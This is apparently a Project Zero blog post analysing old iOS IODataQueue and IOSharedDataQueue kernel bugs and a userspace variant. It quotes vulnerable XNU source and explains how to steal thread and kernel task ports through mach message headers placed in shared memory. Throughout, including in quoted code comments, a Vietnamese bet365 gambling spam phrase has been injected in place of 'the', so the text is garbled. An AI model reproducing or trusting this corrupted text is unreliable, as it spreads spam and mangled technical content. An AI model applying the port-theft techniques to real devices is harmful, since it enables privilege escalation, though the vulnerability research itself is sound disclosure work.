Thursday, October 18, 2018

Deja-XNU

Posted by Ian Beer, Google Project Zero

This blog post revisits an old bug found by Pangu Team and combines it with a new, albeit very similar issue I recently found to try to build a "perfect" exploit for iOS 7.1.2.

State of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 art
An idea I've wanted to play with for a while is to revisit old bugs and try to exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m again, but using what I've learnt in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 meantime about iOS. My hope is that it would give an insight into what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 state-of-cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365-art of iOS exploitation could have looked like a few years ago, and might prove helpful if extrapolated forwards to think about what state-of-cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365-art exploitation might look like now.

So let's turn back cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clock to 2014...

Pangu 7
On June 23 2014 @PanguTeam released cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Pangu 7 jailbreak for iOS 7.1-7.1.x. They exploited a lot of bugs. The issue we're interested in is CVE-2014-4461 which Apple described as: A validation issue ... in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handling of certain metadata fields of IOSharedDataQueue objects. This issue was addressed through relocation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 metadata.

(Note that this kernel bug wasn't actually fixed in iOS 8 and Pangu reused it for Pangu 8...)

Queuerious...
Looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iOS 8-era release notes you'll see that Pangu and I had found some bugs in similar areas:

  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A validation issue existed in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata.

CVE-2014-4418 : Ian Beer of Google Project Zero

  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A validation issue existed in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata.

CVE-2014-4388 : @PanguTeam

  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: An integer overflow existed in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handling of IOKit functions. This issue was addressed through improved validation of IOKit API arguments.

CVE-2014-4389 : Ian Beer of Google Project Zero

IODataQueue
I had looked at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOKit class IODataQueue, which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 header file IODataQueue.h tells us "is designed to allow kernel code to queue data to a user process." It does this by creating a lock-free queue data-structure in shared memory.

IODataQueue was quite simple, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were only two fields: dataQueue and notifyMsg:

class IODataQueue : public OSObject
{
 OSDeclareDefaultStructors(IODataQueue)
protected:
 IODataQueueMemory * dataQueue;
 void * notifyMsg;
public:
 static IODataQueue *withCapacity(UInt32 size);
 static IODataQueue *withEntries(UInt32 numEntries, UInt32 entrySize);
 virtual Boolean initWithCapacity(UInt32 size);
 virtual Boolean initWithEntries(UInt32 numEntries, UInt32 entrySize);
 virtual Boolean enqueue(void *data, UInt32 dataSize);
 virtual void setNotificationPort(mach_port_t port);
 virtual IOMemoryDescriptor *getMemoryDescriptor();
};

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire implementation of IODataQueue, as it was around iOS 7.1.2:

OSDefineMetaClassAndStructors(IODataQueue, OSObject)

IODataQueue *IODataQueue::withCapacity(UInt32 size)
{
   IODataQueue *dataQueue = new IODataQueue;

   if (dataQueue) {
       if (!dataQueue->initWithCapacity(size)) {
           dataQueue->release();
           dataQueue = 0;
       }
   }

   return dataQueue;
}

IODataQueue *IODataQueue::withEntries(UInt32 numEntries, UInt32 entrySize)
{
   IODataQueue *dataQueue = new IODataQueue;

   if (dataQueue) {
       if (!dataQueue->initWithEntries(numEntries, entrySize)) {
           dataQueue->release();
           dataQueue = 0;
       }
   }

   return dataQueue;
}

Boolean IODataQueue::initWithCapacity(UInt32 size)
{
   vm_size_t allocSize = 0;

   if (!super::init()) {
       return false;
   }

   allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE);

   if (allocSize < size) {
       return false;
   }

   dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);
   if (dataQueue == 0) {
       return false;
   }

   dataQueue->queueSize    = size;
   dataQueue->head         = 0;
   dataQueue->tail         = 0;

   return true;
}

Boolean IODataQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
   return (initWithCapacity((numEntries + 1) * (DATA_QUEUE_ENTRY_HEADER_SIZE + entrySize)));
}

void IODataQueue::free()
{
   if (dataQueue) {
       IOFreeAligned(dataQueue, round_page(dataQueue->queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE));
   }

   super::free();

   return;
}

Boolean IODataQueue::enqueue(void * data, UInt32 dataSize)
{
   const UInt32       head = dataQueue->head;  // volatile
   const UInt32       tail = dataQueue->tail;
   const UInt32       entrySize = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE;
   IODataQueueEntry * entry;

   if ( tail >= head )
   {
       // Is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re enough room at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entry?
       if ( (tail + entrySize) <= dataQueue->queueSize )
       {
           entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

           entry->size = dataSize;
           memcpy(&entry->data, data, dataSize);

           // The tail can be out of bound when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new entry
           // exactly matches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 available space at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue.
           // The tail can range from 0 to dataQueue->queueSize inclusive.

           dataQueue->tail += entrySize;
       }
       else if ( head > entrySize ) // Is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re enough room at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning?
       {
           // Wrap around to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning, but do not allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tail to catch
           // up to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 head.

           dataQueue->queue->size = dataSize;

           // We need to make sure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is enough room to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size before
           // doing this. The user client checks for this and will look for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size
           // at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re isn't room for it at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end.

           if ( ( dataQueue->queueSize - tail ) >= DATA_QUEUE_ENTRY_HEADER_SIZE )
           {
               ((IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail))->size = dataSize;
           }

           memcpy(&dataQueue->queue->data, data, dataSize);
           dataQueue->tail = entrySize;
       }
       else
       {
           return false; // queue is full
       }
   }
   else
   {
       // Do not allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tail to catch up to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 head when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue is full.
       // That's why cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comparison uses a '>' racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than '>='.

       if ( (head - tail) > entrySize )
       {
           entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

           entry->size = dataSize;
           memcpy(&entry->data, data, dataSize);
           dataQueue->tail += entrySize;
       }
       else
       {
           return false; // queue is full
       }
   }

   // Send notification (via mach message) that data is available.

   if ( ( head == tail )                /* queue was empty prior to enqueue() */
   || ( dataQueue->head == tail ) )   /* queue was emptied during enqueue() */
   {
       sendDataAvailableNotification();
   }

   return true;
}

void IODataQueue::setNotificationPort(mach_port_t port)
{
   static struct _notifyMsg init_msg = { {
       MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0),
       sizeof (struct _notifyMsg),
       MACH_PORT_NULL,
       MACH_PORT_NULL,
       0,
       0
   } };

   if (notifyMsg == 0) {
       notifyMsg = IOMalloc(sizeof(struct _notifyMsg));
   }

   *((struct _notifyMsg *)notifyMsg) = init_msg;

   ((struct _notifyMsg *)notifyMsg)->h.msgh_remote_port = port;
}

void IODataQueue::sendDataAvailableNotification()
{
   kern_return_t kr;
   mach_msg_header_t * msgh;

   msgh = (mach_msg_header_t *)notifyMsg;
   if (msgh && msgh->msgh_remote_port) {
       kr = mach_msg_send_from_kernel_proper(msgh, msgh->msgh_size);
       switch(kr) {
           case MACH_SEND_TIMED_OUT: // Notification already sent
           case MACH_MSG_SUCCESS:
               break;
           default:
               IOLog("%s: dataAvailableNotification failed - msg_send returned: %d\n", /*getName()*/"IODataQueue", kr);
               break;
       }
   }
}

IOMemoryDescriptor *IODataQueue::getMemoryDescriptor()
{
   IOMemoryDescriptor *descriptor = 0;

   if (dataQueue != 0) {
       descriptor = IOMemoryDescriptor::withAddress(dataQueue, dataQueue->queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE, kIODirectionOutIn);
   }

   return descriptor;
}

The ::initWithCapacity method allocates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer which will end up in shared memory. We can see from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cast that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory looks like this:

typedef struct _IODataQueueMemory {
   UInt32            queueSize;
   volatile UInt32   head;
   volatile UInt32   tail;
   IODataQueueEntry  queue[1];
} IODataQueueMemory;

The ::setNotificationPort method allocated a mach message header structure via IOMalloc when it was first called and stored cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer as notifyMsg.

The ::enqueue method was responsible for writing data into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next free slot in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue, potentially wrapping back around to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer.

Finally, ::getMemoryDescriptor created an IOMemoryDescriptor object which wrapped cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dataQueue memory to return to userspace.

IODataQueue.cpp was 243 lines, including license and comments. I count at least 6 bugs, which I've highlighted in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code. There's only one integer overflow check but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are multiple obvious integer overflow issues. The ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r problems stemmed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only place where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IODataQueue was storing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue's length was in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shared memory which userspace could modify.

This lead to obvious memory corruption issues in ::enqueue since userspace could alter cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queueSize, head and tail fields and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel had no way to verify whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y were within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bounds of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue buffer. The ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r two uses of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queueSize field also yielded interesting bugs: The ::free method has to trust cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queueSize field, and so will make an oversized IOFree. Most interesting of all however is ::getMemoryDescriptor, which trusts queueSize when creating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOMemoryDescriptor. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel code which was using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IODataQueue allowed userspace to get multiple memory descriptors this would have let us get an oversized memory descriptor, potentially giving us read/write access to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r kernel heap objects.

Back to Pangu
Pangu's kernel code exec bug isn't in IODataQueue but in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subclass IOSharedDataQueue. IOSharedDataQueue.h tells us that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "IOSharedDataQueue class is designed to also allow a user process to queue data to kernel code."

IOSharedDataQueue adds one (unused) field:

   struct ExpansionData {
   };
   /*! @var reserved
       Reserved for future use.  (Internal use only) */
   ExpansionData * _reserved;


IOSharedDataQueue doesn't override cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ::enqueue method, but adds a ::dequeue method to allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel to dequeue objects which userspace has enqueued.

::dequeue had cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same problems as ::enqueue with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue size being in shared memory, which could lead cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel to read out of bounds. But strangely that wasn't cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only change in IOSharedDataQueue. Pangu noticed that IOSharedDataQueue also had a much more curious change in its overridden version of ::initWithCapacity:

Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
{
   IODataQueueAppendix *   appendix;
   
   if (!super::init()) {
       return false;
   }
   
   dataQueue = (IODataQueueMemory *)IOMallocAligned(round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE), PAGE_SIZE);
   if (dataQueue == 0) {
       return false;
   }

   dataQueue->queueSize = size;
   dataQueue->head = 0;
   dataQueue->tail = 0;
   
   appendix = (IODataQueueAppendix *)((UInt8 *)dataQueue + size + DATA_QUEUE_MEMORY_HEADER_SIZE);
   appendix->version = 0;
   notifyMsg = &(appendix->msgh);
   setNotificationPort(MACH_PORT_NULL);

   return true;
}

IOSharedDataQueue increased cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shared memory buffer to also add space for an IODataQueueAppendix structure:

typedef struct _IODataQueueAppendix {
   UInt32 version;
   mach_msg_header_t msgh;
} IODataQueueAppendix;

This contains a version field and, strangely, a mach message header. Then on this line:

 notifyMsg = &(appendix->msgh);

cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 notifyMsg member of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IODataQueue superclass is set to point in to that appendix structure.

Recall that IODataQueue allocated a mach message header structure via IOMalloc when a notification port was first set, so why did IOSharedDataQueue do it differently? About cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only plausible explanation I can come up with is that a developer had noticed that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dataQueue memory allocation typically wasted almost a page of memory, because clients asked for a page-multiple number of bytes, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue allocation added a small header to that and rounded up to a page-multiple again. This change allowed you to save a single 0x18 byte kernel allocation per queue. Given that this change seems to have landed right around cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 launch date of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first iPhone, a memory constrained device with no swap, I could imagine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was a big drive to save memory.

But cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 question is: can you put a mach message header in shared memory like that?

What's in a message?
Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 definition of mach_msg_header_t, as it was in iOS 7.1.2:

typedef struct
{
 mach_msg_bits_t  msgh_bits;
 mach_msg_size_t  msgh_size;
 mach_port_t      msgh_remote_port;
 mach_port_t      msgh_local_port;
 mach_msg_size_t  msgh_reserved;
 mach_msg_id_t    msgh_id;
} mach_msg_header_t;

(The msgh_reserved field has since become msgh_voucher_port with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 introduction of vouchers.)

Both userspace and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel appear at first glance to have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same definition of this structure, but upon closer inspection if you resolve all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 typedefs you'll see this very important distinction:

userspace:
typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t;
typedef __darwin_natural_t __darwin_mach_port_name_t;
typedef unsigned int __darwin_natural_t

kernel:
typedef ipc_port_t mach_port_t;
typedef struct ipc_port *ipc_port_t;

In userspace mach_port_t is an unsigned 32-bit integer which is a task-local name for a port, but in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel a mach_port_t is a raw pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying ipc_port structure.

Since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one responsible for initializing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 notification message, and is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one sending it, it seems that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel is writing kernel pointers into userspace shared memory!

Fast-forward
Before we move on to writing a new exploit for that old issue let's jump forward to 2018, and why exactly I'm looking at this old code again.

I've recently spoken publicly about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 importance of variant analysis, and I thought it was important to actually do some variant analysis myself before I gave that talk. By variant analysis, I mean taking a known security bug and looking for code which is vulnerable in a similar way. That could mean searching a codebase for all uses of a particular API which has exploitable edge cases, or even just searching for a buggy code snippet which has been copy/pasted into a different file.

Userspace queues and deja-xnu
This summer while looking for variants of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 old IODataQueue issues I saw something I hadn't noticed before: as well as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 facilities for enqueuing and dequeue objects to and from kernel-owned IODataQueues, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace IOKit.framework also contains code for creating userspace-owned queues, for use only between userspace processes.

The code for creating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se queues isn't in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 open-source IOKitUser package; you can only see this functionality by reversing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOKit framework binary.

There are no users of this code in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOKitUser source, but some reversing showed that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace-only queues were used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 com.apple.iohideventsystem MIG service, implemented in IOKit.framework and hosted by backboardd on iOS and hidd on MacOS. You can talk to this service from inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 app sandbox on iOS.

Reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace __IODataQueueEnqueue method, which is used to enqueue objects into both userspace and kernel queues, I had a strong feeling of deja-xnu: It was trusting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queueSize value in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue header in shared memory, just like CVE-2014-4418 from 2014 did. Of course, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n this isn't interesting (since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel doesn't trust cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se values) but we now know that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are userspace only queues, where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r end is anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r userspace process.

Reading more of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace IODataQueue handling code I noticed that unlike cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel IODataQueue object, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace one had an appendix as well as header. And in that appendix, like IOSharedDataQueue, it stored a mach message header! Did this userspace IODataQueue have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same issue as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSharedDataQueue issue from Pangu 7/8? Let's look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code:

IOReturn IODataQueueSetNotificationPort(IODataQueueMemory *dataQueue, mach_port_t notifyPort)
{
   IODataQueueAppendix * appendix = NULL;
   UInt32 queueSize = 0;
           
   if ( !dataQueue )
       return kIOReturnBadArgument;
       
   queueSize = dataQueue->queueSize;
   
   appendix = (IODataQueueAppendix *)((UInt8 *)dataQueue + queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE);

   appendix->msgh.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
   appendix->msgh.msgh_size        = sizeof(appendix->msgh);
   appendix->msgh.msgh_remote_port = notifyPort;
   appendix->msgh.msgh_local_port  = MACH_PORT_NULL;
   appendix->msgh.msgh_id          = 0;

   return kIOReturnSuccess;
}

We can take a look in lldb at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer and see that at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue, still in shared memory, we can see a mach message header, where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name field is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remote end's name for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 notification port we provided!

Exploitation of an arbitrary mach message send
In XNU each task (process) has a task port, and each thread within a task has a thread port. Originally a send right to a task's task port gave full memory and thread control, and a send right to a thread port meant full thread control (which is of course also full memory control.)

As a result of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploits which I and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs have released abusing issues with mach ports to steal port rights Apple have very slowly been hardening cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se interfaces. But as of iOS 11.4.1 if you have a send right to a thread port belonging to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r task you can still use it to manipulate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 register state of that thread.

Interestingly process startup on iOS is sufficiently deterministic that in backboardd on iOS 7.1.2 on an iPhone 4 right up to iOS 11.4.1 on an iPhone SE, 0x407 names a thread port.

Stealing ports
The msgh_local_port field in a mach message is typically used to give cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recipient of a message a send-once right to a "reply port" which can be used to send a reply. This is just a convention and any send or send-once right can be transferred here. So by rewriting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach message in shared memory which will be sent to us to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 msgh_local_port field to 0x407 (backboardd's name for a thread port) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 msgh_bits field to use a COPY_SEND disposition for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 local port, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 notification message is sent to us by backboardd we'll receive a send right to a backboardd thread port!

This exploit for this issue targets iOS 11.4.1, and contains a modified version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remote_call code from triple_fetch to work with a stolen thread port racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than a task port.

Back to 2014
I mentioned that Apple have slowly been adding mitigations against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of stolen task ports. The first of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se mitigations I'm aware of was to prevent userspace using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port, often known as task-for-pid-0 or TFP0, which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 task port representing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task (and hence allowing read/write access to kernel memory). I believe this was done in response to my mach_portal exploit which used a kernel use-after-free to steal a send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port.

Prior to that hardening, if you had a send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port you had complete read/write access to kernel memory.

We've seen that port name allocation is extremely stable, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same name for a thread port for four years. Is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 situation similar for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ipc_port pointers used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel in mach messages?

Very early kernel port allocation is also deterministic. I abused this in mach_portal to steal cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port by first determining cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n guessing that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port must be nearby since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're both very early port allocations.

Back in 2014 things were even easier because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port was at a fixed offset from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port; all we need to do is leak cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can compute cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port!

Determining port addresses
IOHIDEventService is a userclient which exposes an IOSharedDataQueue to userspace. We can't open this from inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 app sandbox, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace IODataQueue bug was easy enough to backport to 32-bit iOS 7.1.2, and we can open an IOHIDEventService userclient from backboardd.

